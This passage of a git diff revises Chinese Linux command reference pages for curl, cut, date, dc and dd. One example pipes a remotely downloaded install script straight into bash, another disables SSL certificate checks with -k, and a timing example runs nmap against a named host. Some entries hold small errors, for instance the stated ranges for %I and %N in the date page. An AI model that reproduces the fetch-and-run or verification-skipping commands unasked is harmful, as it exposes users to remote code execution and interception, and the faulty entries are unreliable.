curl URL/File -C 偏移量
#偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -:
curl -C -URL
```
-**使用curl设置参照页字符串**
+#### **使用curl设置参照页字符串**
参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页,网页B头部的参照页字符串就包含网页A的URL。
-使用`--referer`选项指定参照页字符串:
+使用 `--referer` 选项指定参照页字符串:
+
+```shell
+curl --referer http://www.example.com http://example.com
+```
+
+#### **用curl设置用户代理字符串**
+
+有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用 `--user-agent` 或者 `-A` 选项:
+```shell
+curl URL --user-agent "Mozilla/5.0"
+curl URL -A "Mozilla/5.0"
```
-curl --referer http://www.google.com http://wangchujiang.com
+
+其他HTTP头部信息也可以使用curl来发送,使用`-H`"头部信息" 传递多个头部信息,例如:
+
+```shell
+curl -H "Host:example.com" -H "accept-language:zh-cn" URL
```
-**用curl设置cookies**
+#### **curl的带宽控制和下载配额**
-使用`--cookie "COKKIES"`选项来指定cookie,多个cookie使用分号分隔:
+使用`--limit-rate`限制curl的下载速度:
+```shell
+curl URL --limit-rate 50k
```
-curl http://wangchujiang.com --cookie "user=root;pass=123456"
+
+命令中用k(千字节)和m(兆字节)指定下载速度限制。
+
+使用`--max-filesize`指定可下载的最大文件大小:
+
+```shell
+curl URL --max-filesize bytes
```
-将cookie另存为一个文件,使用`--cookie-jar`选项:
+如果文件大小超出限制,命令则返回一个非0退出码,如果命令正常则返回0。
+```shell
+curl --limit-rate 200k https://example.com
+# 上面命令将带宽限制在每秒 200K 字节。
```
-curl URL --cookie-jar cookie_file
+
+#### **用curl进行认证**
+
+使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:
+
+```shell
+curl -u user:pwd http://example.com
+curl -u user http://example.com
```
-**用curl设置用户代理字符串**
+#### **只打印响应头部信息**
-有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用`--user-agent`或者`-A`选项:
+通过`-I`或者`-head`可以只打印出HTTP头部信息:
+```shell
+[root@localhost text]# curl -I http://example.com
+HTTP/1.1 200 OK
+Content-Encoding: gzip
+Accept-Ranges: bytes
+Age: 275552
+Cache-Control: max-age=604800
+Content-Type: text/html; charset=UTF-8
+Date: Mon, 24 Apr 2023 14:39:36 GMT
+Etag: "3147526947+gzip"
+Expires: Mon, 01 May 2023 14:39:36 GMT
+Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
+Server: ECS (sec/96EE)
+X-Cache: HIT
+Content-Length: 648
```
-curl URL --user-agent "Mozilla/5.0"
-curl URL -A "Mozilla/5.0"
+
+#### **GET 请求**
+
+```shell
+curl "http://www.example.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地
+curl -i "http://www.example.com" # 显示全部信息
+curl -l "http://www.example.com" # 显示页面内容
+curl -v "http://www.example.com" # 显示get请求全过程解析
```
-其他HTTP头部信息也可以使用curl来发送,使用`-H`"头部信息" 传递多个头部信息,例如:
+#### **POST 请求**
+
+```shell
+$ curl -d "param1=value1¶m2=value2" "http://www.example.com/login"
+$ curl -d'login=emma&password=123' -X POST https://example.com/login
+# 或者
+$ curl -d 'login=emma' -d 'password=123' -X POST https://example.com/login
```
-curl -H "Host:wangchujiang.com" -H "accept-language:zh-cn" URL
+
+`--data-urlencode` 参数等同于 `-d`,发送 `POST` 请求的数据体,区别在于会自动将发送的数据进行 `URL` 编码。
+
+```shell
+curl --data-urlencode 'comment=hello world' https://example.com/login
+# 上面代码中,发送的数据hello world之间有一个空格,需要进行 URL 编码。
```
-**curl的带宽控制和下载配额**
+#### **发送本地文件中的文字**
-使用`--limit-rate`限制curl的下载速度:
+```shell
+curl -d '@data.txt' https://example.com/upload
+# 读取data.txt文件的内容,作为数据体向服务器发送。
+```
+#### **JSON 格式的 POST 请求**
+
+```shell
+curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13888888888","password":"test"}' http://example.com/apis/users.json
```
-curl URL --limit-rate 50k
+
+#### **向服务器发送 Cookie**
+
+使用`--cookie "COKKIES"`选项来指定cookie,多个cookie使用分号分隔:
+
+```shell
+curl http://example.com --cookie "user=root;pass=123456"
```
-命令中用k(千字节)和m(兆字节)指定下载速度限制。
+将cookie另存为一个文件,使用`--cookie-jar`选项:
-使用`--max-filesize`指定可下载的最大文件大小:
+```shell
+curl URL --cookie-jar cookie_file
+```
+`-b` 参数用来向服务器发送 Cookie。
+
+```shell
+curl -b 'foo=bar' https://example.com
+# 上面命令会生成一个标头Cookie: foo=bar,向服务器发送一个名为foo、值为bar的 Cookie。
```
-curl URL --max-filesize bytes
+
+```shell
+curl -b 'foo1=bar' -b 'foo2=baz' https://example.com
+# 上面命令发送两个 Cookie。
+
+```shell
+curl -b cookies.txt https://www.example.com
+# 上面命令读取本地文件 cookies.txt,里面是服务器设置的 Cookie(参见-c参数),将其发送到服务器。
```
-如果文件大小超出限制,命令则返回一个非0退出码,如果命令正常则返回0。
+#### **Cookie 写入一个文件**
-**用curl进行认证**
+```shell
+curl -c cookies.txt https://www.example.com
+# 上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt。
+```
-使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:
+#### **请求的来源**
+
+`-e` 参数用来设置 `HTTP` 的标头 `Referer`,表示请求的来源。
+```shell
+curl -e 'https://example.com?q=example' https://www.example.com
+# 上面命令将Referer标头设为 https://example.com?q=example。
```
-curl -u user:pwd http://wangchujiang.com
-curl -u user http://wangchujiang.com
+
+`-H` 参数可以通过直接添加标头 `Referer`,达到同样效果。
+
+```shell
+curl -H 'Referer: https://example.com?q=example' https://www.example.com
```
-**只打印响应头部信息**
+#### **上传二进制文件**
-通过`-I`或者`-head`可以只打印出HTTP头部信息:
+`-F` 参数用来向服务器上传二进制文件。
+```shell
+curl -F 'file=@photo.png' https://example.com/profile
+# 上面命令会给 HTTP 请求加上标头 Content-Type: multipart/form-data ,然后将文件photo.png作为file字段上传。
```
-[root@localhost text]# curl -I http://wangchujiang.com
-HTTP/1.1 200 OK
-Server: nginx/1.2.5
-date: Mon, 10 Dec 2012 09:24:34 GMT
-Content-Type: text/html; charset=UTF-8
-Connection: keep-alive
-Vary: Accept-Encoding
-X-Pingback: http://wangchujiang.com/xmlrpc.php
+
+`-F` 参数可以指定 `MIME` 类型。
+
+```shell
+curl -F 'file=@photo.png;type=image/png' https://example.com/profile
+# 上面命令指定 MIME 类型为image/png,否则 curl 会把 MIME 类型设为 application/octet-stream。
```
-**get请求**
+`-F` 参数也可以指定文件名。
-```bash
-curl "http://www.wangchujiang.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地
-curl -i "http://www.wangchujiang.com" # 显示全部信息
-curl -l "http://www.wangchujiang.com" # 只显示头部信息
-curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析
+```shell
+curl -F 'file=@photo.png;filename=me.png' https://example.com/profile
+# 上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。
```
-**post请求**
+#### **设置请求头**
-```bash
-curl -d "param1=value1¶m2=value2" "http://www.wangchujiang.com"
+`-H` 参数添加 `HTTP` 请求的标头。
+
+```shell
+curl -H 'Accept-Language: en-US' https://example.com
+# 上面命令添加 HTTP 标头 Accept-Language: en-US。
```
-**json格式的post请求**
+```shell
+curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://example.com
+# 上面命令添加两个 HTTP 标头。
+```
-```bash
-curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json
+```shell
+curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://example.com/login
+# 上面命令添加 HTTP 请求的标头是 Content-Type: application/json,然后用 -d 参数发送 JSON 数据。
```
-**获取本机外网ip**
+#### **跳过 SSL 检测**
-```bash
+```shell
+curl -k https://www.example.com
+# 上面命令不会检查服务器的 SSL 证书是否正确。
+```
+
+#### **请求跟随服务器的重定向**
+
+`-L` 参数会让 `HTTP` 请求跟随服务器的重定向。`curl` 默认不跟随重定向。
+
+```shell
+curl -L -d 'tweet=hi' https://api.example.com/tweet
+```
+
+值得注意的是,这种重定向方式不适用于在返回的 HTML 中的重定向,比如这种是不被 curl 识别的重定向(这部分内容由 `curl -v -L ` 生成)
+
+```curl
+* Connected to example.com (*.*.*.*) port 80 (#0)
+> GET / HTTP/1.1
+> Host: example.com
+> User-Agent: curl/8.0.1
+> Accept: */*
+>
+< HTTP/1.1 200 OK
+....
+< Content-Type: text/html
+<
+
+
+
+
+```
+
+#### **调试参数**
+
+`-v` 参数输出通信的整个过程,用于调试。
+
+```shell
+curl -v https://www.example.com
+# --trace参数也可以用于调试,还会输出原始的二进制数据。
+```
+
+```shell
+curl --trace - https://www.example.com
+```
+
+#### **获取本机外网 IP**
+
+```shell
curl ipecho.net/plain
```
-
+#### **使用 curl 测试网站加载速度**
+
+命令有一个鲜为人知的选项,`-w`,该选项在请求结束之后打印本次请求的统计数据到标准输出。
+
+首先,我们定义控制打印行为的格式化字符串。新建文本文件 `fmt.txt`,并填入下面的内容:
+
+```ruby
+\n
+Response Time for: %{url_effective}\n\n
+DNS Lookup Time:\t\t%{time_namelookup}s\n
+Redirection Time:\t\t%{time_redirect}s\n
+Connection Time:\t\t%{time_connect}s\n
+App Connection Time:\t\t%{time_appconnect}s\n
+Pre-transfer Time:\t\t%{time_pretransfer}s\n
+Start-transfer Time:\t\t%{time_starttransfer}s\n\n
+Total Time:\t\t\t%{time_total}s\n
+```
+
+curl 提供了很多置换变量,可以在格式化字符串中通过 `%{var}` 的形式使用。完整的变量列表可以在 `curl` 的 `manpage` 中查看。简单介绍一下我们使用的这几个变量:
+
+- `url_effective`: 执行完地址重定向之后的最终 URL;
+- `time_namelookup`: 从请求开始至完成名称解析所花的时间,单位为秒,下同;
+- `time_redirect`: 执行所有重定向所花的时间;
+- `time_connect`: 从请求开始至建立 TCP 连接所花的时间;
+- `time_appconnect`: 从请求开始至完成 SSL/SSH 握手所花的时间;
+- `time_pretransfer`: 从请求开始至服务器准备传送文件所花的时间,包含了传送协商时间;
+- `time_starttransfer`: 从请求开始至服务器准备传送第一个字节所花的时间;
+- `time_total`: 完整耗时。
+
+然后执行请求,通过 @filename 指定保存了格式化字符串的文件:
+
+```shell
+curl -L -s -w @fmt.txt -o /dev/null http://www.example.com
+```
+
+输出:
+
+```c
+Response Time for: http://www.google.co.jp/?gfe_rd=cr&dcr=0&ei=cjIaWpTkHeiQ8QfnxYzoBA
+
+DNS Lookup Time: 0.000038s
+Redirection Time: 0.207271s
+Connection Time: 0.000039s
+App Connection Time: 0.000039s
+Pre-transfer Time: 0.000067s
+Start-transfer Time: 0.260115s
+
+Total Time: 0.467691s
+```
+
+#### **要求返回是压缩的状态**
+
+```shell
+$ curl --compressed -o- -L https://yarnpkg.com/install.sh | bash
+ % Total % Received % Xferd Average Speed Time Time Time Current
+ Dload Upload Total Spent Left Speed
+100 54 100 54 0 0 42 0 0:00:01 0:00:01 --:--:-- 42
+100 2341 100 2341 0 0 1202 0 0:00:01 0:00:01 --:--:-- 9289
+Installing Yarn!
+> Downloading tarball...
+
+[1/2]: https://yarnpkg.com/latest.tar.gz --> /var/folders/j7/3xly5sk567s65ny5dnr__3b80000gn/T/yarn.tar.gz.XXXXXXXXXX.9hJsBsrA
+ % Total % Received % Xferd Average Speed Time Time Time Current
+ Dload Upload Total Spent Left Speed
+100 57 100 57 0 0 72 0 --:--:-- --:--:-- --:--:-- 72
+100 93 100 93 0 0 63 0 0:00:01 0:00:01 --:--:-- 63
+100 643 100 643 0 0 248 0 0:00:02 0:00:02 --:--:-- 707
+100 1215k 100 1215k 0 0 153k 0 0:00:07 0:00:07 --:--:-- 305k
+
+[2/2]: https://yarnpkg.com/latest.tar.gz.asc --> /var/folders/j7/3xly5sk567s65ny5dnr__3b80000gn/T/yarn.tar.gz.XXXXXXXXXX.9hJsBsrA.asc
+100 61 100 61 0 0 356 0 --:--:-- --:--:-- --:--:-- 356
+100 97 100 97 0 0 325 0 --:--:-- --:--:-- --:--:-- 325
+100 647 100 647 0 0 1283 0 --:--:-- --:--:-- --:--:-- 1283
+100 832 100 832 0 0 1107 0 --:--:-- --:--:-- --:--:-- 812k
+```
diff --git a/command/cut.md b/command/cut.md
index 0d07f954de3..4112fb824e6 100644
--- a/command/cut.md
+++ b/command/cut.md
@@ -13,13 +13,13 @@ cut
### 语法
-```
+```shell
cut(选项)(参数)
```
### 选项
-```
+```shell
-b:仅显示行中指定直接范围的内容;
-c:仅显示行中指定范围的字符;
-d:指定字段的分隔符,默认的字段分隔符为“TAB”;
@@ -39,7 +39,7 @@ cut(选项)(参数)
例如有一个学生报表信息,包含 No、Name、Mark、Percent:
-```
+```shell
[root@localhost text]# cat test.txt
No Name Mark Percent
01 tom 69 91
@@ -50,7 +50,7 @@ No Name Mark Percent
使用 **-f** 选项提取指定字段(这里的 f 参数可以简单记忆为 `--fields`的缩写):
-```
+```shell
[root@localhost text]# cut -f 1 test.txt
No
01
@@ -58,7 +58,7 @@ No
03
```
-```
+```shell
[root@localhost text]# cut -f2,3 test.txt
Name Mark
tom 69
@@ -69,18 +69,17 @@ alex 68
**--complement** 选项提取指定字段之外的列(打印除了第二列之外的列):
-```
+```shell
[root@localhost text]# cut -f2 --complement test.txt
No Mark Percent
01 69 91
02 71 87
03 68 98
-
```
使用 **-d** 选项指定字段分隔符:
-```
+```shell
[root@localhost text]# cat test2.txt
No;Name;Mark;Percent
01;tom;69;91
@@ -88,7 +87,7 @@ No;Name;Mark;Percent
03;alex;68;98
```
-```
+```shell
[root@localhost text]# cut -f2 -d";" test2.txt
Name
tom
@@ -113,7 +112,7 @@ cut 命令可以将一串字符作为列来显示,字符字段的记法:
**示例**
-```
+```shell
[root@localhost text]# cat test.txt
abcdefghijklmnopqrstuvwxyz
abcdefghijklmnopqrstuvwxyz
@@ -125,7 +124,7 @@ abcdefghijklmnopqrstuvwxyz
打印第 1 个到第 3 个字符:
-```
+```shell
[root@localhost text]# cut -c1-3 test.txt
abc
abc
@@ -137,7 +136,7 @@ abc
打印前 2 个字符:
-```
+```shell
[root@localhost text]# cut -c-2 test.txt
ab
ab
@@ -149,7 +148,7 @@ ab
打印从第 5 个字符开始到结尾:
-```
+```shell
[root@localhost text]# cut -c5- test.txt
efghijklmnopqrstuvwxyz
efghijklmnopqrstuvwxyz
@@ -158,4 +157,17 @@ efghijklmnopqrstuvwxyz
efghijklmnopqrstuvwxyz
```
+打印最后5个字符:
+
+遗憾的是, `cut`并没有提供最后字符的支持. 不过我们可以通过字符串反转来实现.
+
+```shell
+[root@localhost text]# cat test.txt| rev | cut -c -5 | rev
+vwxyz
+vwxyz
+vwxyz
+vwxyz
+vwxyz
+```
+
diff --git a/command/date.md b/command/date.md
index b0a48086539..7d0dae3945b 100644
--- a/command/date.md
+++ b/command/date.md
@@ -3,154 +3,181 @@ date
显示或设置系统时间与日期
-## 补充说明
-
-**date命令** 是显示或设置系统时间与日期。
-
-很多shell脚本里面需要打印不同格式的时间或日期,以及要根据时间和日期执行操作。延时通常用于脚本执行过程中提供一段等待的时间。日期可以以多种格式去打印,也可以使用命令设置固定的格式。在类UNIX系统中,日期被存储为一个整数,其大小为自世界标准时间(UTC)1970年1月1日0时0分0秒起流逝的秒数。
-
-### 语法
-
-```
-date(选项)(参数)
-```
-
-### 选项
-
-```
--d<字符串>:显示字符串所指的日期与时间。字符串前后必须加上双引号;
--s<字符串>:根据字符串来设置日期与时间。字符串前后必须加上双引号;
--u:显示GMT;
---help:在线帮助;
---version:显示版本信息。
-```
-
-### 参数
-
-<+时间日期格式>:指定显示时使用的日期时间格式。
-
-### 日期格式字符串列表
-
-```
-%H 小时,24小时制(00~23)
-%I 小时,12小时制(01~12)
-%k 小时,24小时制(0~23)
-%l 小时,12小时制(1~12)
-%M 分(00~59)
-%p 显示出上午或下午
-%r 时间,12小时制
-%s 从1970年1月1日0点到目前经历的秒数
-%S 秒(00~59)
-%T 时间(24小时制)(hh:mm:ss)
-%X 显示时间的格式(%H时%M分%S秒)
-%Z 按字母表排序的时区缩写
-%a 星期名缩写
-%A 星期名全称
-%b 月名缩写
-%B 月名全称
-%c 日期和时间
-%d 按月计的日期(01~31)
-%D 日期(mm/dd/yy)
-%h 和%b选项相同
-%j 一年的第几天(001~366)
-%m 月份(01~12)
-%w 一个星期的第几天(0代表星期天)
-%W 一年的第几个星期(00~53,星期一为第一天)
-%x 显示日期的格式(mm/dd/yy)
-%y 年份的最后两个数字(1999则是99)
-%Y 年份(比如1970、1996等)
-%C 世纪,通常为省略当前年份的后两位数字
-%U 一年中的第几周,以周日为每星期第一天
-%e 按月计的日期,添加空格,等于%_d
-```
-
-### 实例
-
-格式化输出:
-
-```
+## 概要
+
+```shell
+date [OPTION]... [+FORMAT]
+date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]
+```
+
+## 主要用途
+
+- 转换时间到选定的格式,默认为当前。
+- 设置系统时间。
+
+## 参数
+
+format:输出的时间格式。
+
+```shell
+format可用的转义序列如下:
+
+%% 百分号
+%a 当地缩写的工作日名称(例如,Sun)
+%A 当地完整的工作日名称(例如,Sunday)
+%b 当地缩写的月份名称(例如,Jan)
+%B 当地完整的月份名称(例如,January)
+%c 当地的日期和时间(例如,Thu Mar 3 23:05:25 2005)
+%C 世纪,和%Y类似,但是省略后两位(例如,20)
+%d 一月中的一天(例如,01)
+%D 日期,等价于%m/%d/%y
+%e 一月中的一天,格式使用空格填充,等价于%_d
+%F 完整的日期;等价于%+4Y-%m-%d
+%g ISO标准计数周的年份的最后两位数字
+%G ISO标准计数周的年份,通常只对%V有用
+%h 等价于%b
+%H 小时,范围(00..23)
+%I 小时,范围(00..23)
+%j 一年中的一天,范围(001..366)
+%k 小时,使用空格填充,范围(0..23),等价于%_H
+%l 小时,使用空格填充,范围(1..12),等价于%_I
+%m 月,范围(01..12)
+%M 分钟,范围(00..59)
+%n 换行符
+%N 纳秒,范围(000000000..000000000)
+%p 用于表示当地的AM或PM,如果未知则为空白
+%P 类似于%p,但用小写表示
+%q 季度,范围(1..4)
+%r 当地以12小时表示的时钟时间(例如,11:11:04 PM)
+%R 24小时每分钟;等价于%H:%M
+%s 自协调世界时1970年01月01日00时00分以来的秒数
+%S 秒数,范围(00..60)
+%t 水平制表符
+%T 时间;等价于%H:%M:%S
+%u 一周中的一天(1..7),1代表星期一
+%U 一年中的第几周,周日作为一周的起始(00..53)
+%V ISO标准计数周,该方法将周一作为一周的起始(01..53)
+%w 一周中的一天(0..6),0代表星期天
+%W 一年中的第几周,周一作为一周的起始(00..53)
+%x 当地的日期表示(例如,12/31/99)
+%X 当地的时间表示(例如,23:13:48)
+%y 年份后两位数字,范围(00..99)
+%Y 年份
+%z +hhmm格式的数值化时区格式(例如,-0400)
+%:z +hh:mm格式的数值化时区格式(例如,-04:00)
+%::z +hh:mm:ss格式的数值化时区格式(例如,-04:00:00)
+%:::z 数值化时区格式,相比上一个格式增加':'以显示必要的精度(例如,-04,+05:30)
+%Z 时区缩写(如EDT)
+
+默认情况下,日期用零填充数字字段;以下可选的符号可以跟在'%'后面:
+
+- (连字符) 不要填充相应的字段。
+_ (下划线) 使用空格填充相应的字段。
+0 (数字0) 使用数字0填充相应的字段。
++ 用数字0填充,未来年份大于4位数字则在前面加上'+'号。
+^ 允许的情况下使用大写。
+# 允许的情况下将默认的大写转换为小写,默认的小写转换为大写。
+
+在任何标志之后都有一个可选的字段宽度,如小数;然后是一个可选的修饰符,在可用的情况下,使用E来使用当地语言环境的替代表示,
+使用O来使用当地语言环境的替代数字符号。
+```
+
+## 选项
+
+```shell
+长选项与短选项等价
+
+-d, --date=STRING 解析字符串并按照指定格式输出,字符串不能是'now'。
+--debug 注释已解析的日期,并将有疑问的用法发送到标准错误。
+-f, --file=DATEFILE 类似于--date; 一次从DATEFILE处理一行。
+-I[FMT], --iso-8601[=FMT] 按照ISO 8601格式输出,FMT可以为'date'(默认),'hours','minutes','seconds','ns'。例如:2006-08-14T02:34:56-06:00
+-R, --rfc-email 按照RFC 5322格式输出,例如: Mon, 14 Aug 2006 02:34:56 -0600
+--rfc-3339=FMT 按照RFC 3339格式输出,FMT可以为'date', 'seconds','ns'中的一个,例如:2006-08-14 02:34:56-06:00
+-r, --reference=FILE 显示文件的上次修改时间。
+-s, --set=STRING 根据字符串设置系统时间。
+-u, --utc, --universal 显示或设置世界协调时(UTC)。
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
+```
+
+## 返回值
+
+返回状态为成功除非给出了非法选项或非法参数。
+
+## 例子
+
+```shell
+# 格式化输出:
date +"%Y-%m-%d"
2009-12-07
-```
-输出昨天日期:
-
-```
+# 输出昨天日期:
date -d "1 day ago" +"%Y-%m-%d"
2012-11-19
-```
-2秒后输出:
-
-```
+# 2秒后输出:
date -d "2 second" +"%Y-%m-%d %H:%M.%S"
2012-11-20 14:21.31
-```
-传说中的 1234567890 秒:
-
-```
-date -d "1970-01-01 1234567890 seconds" +"%Y-%m-%d %H:%m:%S"
+# 传说中的 1234567890 秒:
+date -d "1970-01-01 1234567890 seconds" +"%Y-%m-%d %H:%M:%S"
+# 或者
+date -d@1234567890 +"%F %T"
+# 输出结果
2009-02-13 23:02:30
-```
-
-普通转格式:
-```
+# 时间格式转换:
date -d "2009-12-12" +"%Y/%m/%d %H:%M.%S"
+# 输出结果
2009/12/12 00:00.00
-```
-
-apache格式转换:
-```
+# apache格式转换:
date -d "Dec 5, 2009 12:00:37 AM" +"%Y-%m-%d %H:%M.%S"
+# 输出结果
2009-12-05 00:00.37
-```
-格式转换后时间游走:
-
-```
+# 格式转换后时间游走:
date -d "Dec 5, 2009 12:00:37 AM 2 year ago" +"%Y-%m-%d %H:%M.%S"
+# 输出结果
2007-12-05 00:00.37
-```
-
-加减操作:
-
-```
-date +%Y%m%d //显示前天年月日
-date -d "+1 day" +%Y%m%d //显示前一天的日期
-date -d "-1 day" +%Y%m%d //显示后一天的日期
-date -d "-1 month" +%Y%m%d //显示上一月的日期
-date -d "+1 month" +%Y%m%d //显示下一月的日期
-date -d "-1 year" +%Y%m%d //显示前一年的日期
-date -d "+1 year" +%Y%m%d //显示下一年的日期
-```
-
-设定时间:
-
-```
-date -s //设置当前时间,只有root权限才能设置,其他只能查看
-date -s 20120523 //设置成20120523,这样会把具体时间设置成空00:00:00
-date -s 01:01:01 //设置具体时间,不会对日期做更改
-date -s "01:01:01 2012-05-23" //这样可以设置全部时间
-date -s "01:01:01 20120523" //这样可以设置全部时间
-date -s "2012-05-23 01:01:01" //这样可以设置全部时间
-date -s "20120523 01:01:01" //这样可以设置全部时间
-```
-
-有时需要检查一组命令花费的时间,举例:
-
-```
-#!/bin/bash
+# 时间加减操作:
+date +%Y%m%d # 显示年月日
+date -d "+1 day" +%Y%m%d # 显示前一天的日期
+date -d "-1 day" +%Y%m%d # 显示后一天的日期
+date -d "-1 month" +%Y%m%d # 显示上一月的日期
+date -d "+1 month" +%Y%m%d # 显示下一月的日期
+date -d "-1 year" +%Y%m%d # 显示前一年的日期
+date -d "+1 year" +%Y%m%d # 显示下一年的日期
+
+# 设定时间:
+date -s # 设置当前时间,只有root权限才能设置,其他只能查看
+date -s 20120523 # 设置成20120523,这样会把具体时间设置成00:00:00
+date -s 01:01:01 # 设置具体时间,不会对日期做更改
+date -s "01:01:01 2012-05-23" # 这样可以设置全部时间
+date -s "01:01:01 20120523" # 这样可以设置全部时间
+date -s "2012-05-23 01:01:01" # 这样可以设置全部时间
+date -s "20120523 01:01:01" # 这样可以设置全部时间
+
+# 有时需要检查一组命令花费的时间:
start=$(date +%s)
nmap wangchujiang.com &> /dev/null
-
end=$(date +%s)
difference=$(( end - start ))
+# 显示执行时间
echo $difference seconds.
+
+# 当你考虑输出带有时间的字符串时,例如(Current time: 2019/05/19):
+# 通常使用的方法:
+echo "Current time: $(date +"%Y/%m/%d")"
+# 另一种方法:
+suffix='Current time:'
+# 注意如果换成单引号就不能替换变量了。
+date +"${suffix} %Y/%m/%d"
```
+### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 date`或`info coreutils 'date invocation'`。
+
-
diff --git a/command/dc.md b/command/dc.md
new file mode 100644
index 00000000000..c78f672aa83
--- /dev/null
+++ b/command/dc.md
@@ -0,0 +1,87 @@
+dc
+===
+
+任意精度计算器
+
+## 说明
+
+dc 是一款逆波兰表达式计算器,支持无限制精度的算术运算。它还允许您定义和调用宏。通常,dc从标准输入读取,也可以通过参数传入文件来求值。
+
+## 语法
+
+```shell
+dc [选项] [文件...]
+```
+
+### 选项
+
+```shell
+-e, --expression=EXPR # 评估表达式
+-f, --file=FILE # 评估文件内容
+-h, --help # 显示此帮助并退出
+-V, --version # 输出版本信息并退出
+```
+
+```shell
+p 打印堆栈顶部的值并以换行符结束语句。
+n 打印堆栈顶部的值并以空语句结束行。
+f 打印整个堆栈,不做任何更改。
+P 从栈顶弹出值。
+c 清除堆栈。
+d 复制顶部值并将其推入主堆栈。
+r 反转堆栈中顶部两个元素的顺序。
+Z 从堆栈中弹出值,计算其中的位数并压入该数字。
+X 从堆栈中弹出值,计算其中的小数位数并压入该数字。
+z 将堆栈长度推入堆栈。
+i 从堆栈中弹出值并将其用作输入基数。
+o 从堆栈中弹出值并将其用作输出基数。
+k 从堆栈中弹出值并使用它来设置精度。
+I 将输入基数的值推入堆栈。
+O 将输出基数的值压入堆栈
+K 将精度值压入堆栈。
+```
+
+## 示例
+
+下面是 `dc` 命令在命令行完成的计算 `10 * 10` 得出结果 `100`,并推出的过程
+
+```shell
+$ dc
+
+10 # 1. 输入数字10
+10 # 2. 输入数字10
+* # 3. 输入运算类型*表示乘
+p # 4. 输入p得到计算结果
+100
+q # 5. 输入 q 退出 dc
+```
+
+示例显示在命令行结果 `509`
+
+```bash
+$ dc --expression="50 10 * 9 + p"
+509
+```
+
+## 支持的运算
+
+`+` 从堆栈中弹出两个值,将它们相加,然后压栈结果。
+
+`-` 弹出两个值,从弹出的第二个值中减去弹出的第一个值,并压栈结果。
+
+`*` 弹出两个值,将它们相乘,然后压栈结果。结果中分数位数取决于当前精度值和两个参数中的分数位数。
+
+`/` 弹出两个值,将弹出的第二个值与弹出的第一个值相除,然后推送结果。分数位数由精度值指定。
+
+`%` 弹出两个值,计算/命令将执行的除法的剩余部分,并推送该值。计算的值与序列 `Sd dld/Ld*- `计算的值相同。
+
+`~` 弹出两个值,将弹出的第二个值与弹出的第一个值相除。首先推送商,然后推送余数。除法中使用的小数位数由精度值指定。
+
+(序列 SdSn lnld/lnld% 也可以完成此功能,但错误检查略有不同。)
+
+
+`^` 使用弹出的第一个值作为指数,第二个值作为基数,弹出两个值并进行幂运算。忽略指数的分数部分。
+
+`|` 弹出三个值并计算模幂。 弹出的第一个值用作约简模数; 这个值必须是一个非零数字,并且应该是一个整数。 弹出的第二个用作指数; 该值必须是非负数,并且该指数的任何小数部分都将被忽略。 弹出的第三个值是取幂的基数,它应该是一个整数。 对于小整数,这类似于序列 Sm^Lm%,但与 ^ 不同的是,此命令适用于任意大的指数。
+
+`v` 弹出一个值,计算其平方根,然后压栈它。精度值的最大值和参数的精度用于确定结果中的小数位数。
diff --git a/command/dd.md b/command/dd.md
index 5e32ce83161..dd6e87568f8 100644
--- a/command/dd.md
+++ b/command/dd.md
@@ -9,21 +9,22 @@ dd
建议在有需要的时候使用dd 对物理磁盘操作,如果是文件系统的话还是使用tar backup cpio等其他命令更加方便。另外,使用dd对磁盘操作时,最好使用块设备文件。
-### 语法
+### 语法
-```
+```shell
dd(选项)
```
-### 选项
+### 选项
-```
+```shell
bs=<字节数>:将ibs(输入)与obs(输出)设成指定的字节数;
cbs=<字节数>:转换时,每次只转换指定的字节数;
conv=<关键字>:指定文件转换的方式;
count=<区块数>:仅读取指定的区块数;
ibs=<字节数>:每次读取的字节数;
obs=<字节数>:每次输出的字节数;
+if=<文件>:输入文件;
of=<文件>:输出到文件;
seek=<区块数>:一开始输出时,跳过指定的区块数;
skip=<区块数>:一开始读取时,跳过指定的区块数;
@@ -31,9 +32,9 @@ skip=<区块数>:一开始读取时,跳过指定的区块数;
--version:显示版本信息。
```
-### 实例
+### 实例
-```
+```shell
[root@localhost text]# dd if=/dev/zero of=sun.txt bs=1M count=1
1+0 records in
1+0 records out
@@ -45,11 +46,11 @@ skip=<区块数>:一开始读取时,跳过指定的区块数;
该命令创建了一个1M大小的文件sun.txt,其中参数解释:
-* **if** 代表输入文件。如果不指定if,默认就会从stdin中读取输入。
-* **of** 代表输出文件。如果不指定of,默认就会将stdout作为默认输出。
-* **bs** 代表字节为单位的块大小。
-* **count** 代表被复制的块数。
-* **/dev/zero** 是一个字符设备,会不断返回0值字节(\0)。
+* **if** 代表输入文件。如果不指定if,默认就会从stdin中读取输入。
+* **of** 代表输出文件。如果不指定of,默认就会将stdout作为默认输出。
+* **bs** 代表字节为单位的块大小。
+* **count** 代表被复制的块数。
+* **/dev/zero** 是一个字符设备,会不断返回0值字节(\0)。
块大小可以使用的计量单位表
@@ -64,7 +65,7 @@ skip=<区块数>:一开始读取时,跳过指定的区块数;
以上命令可以看出dd命令来测试内存操作速度:
-```
+```shell
1048576 bytes (1.0 MB) copied, 0.006107 seconds, 172 MB/s
```
@@ -72,7 +73,7 @@ skip=<区块数>:一开始读取时,跳过指定的区块数;
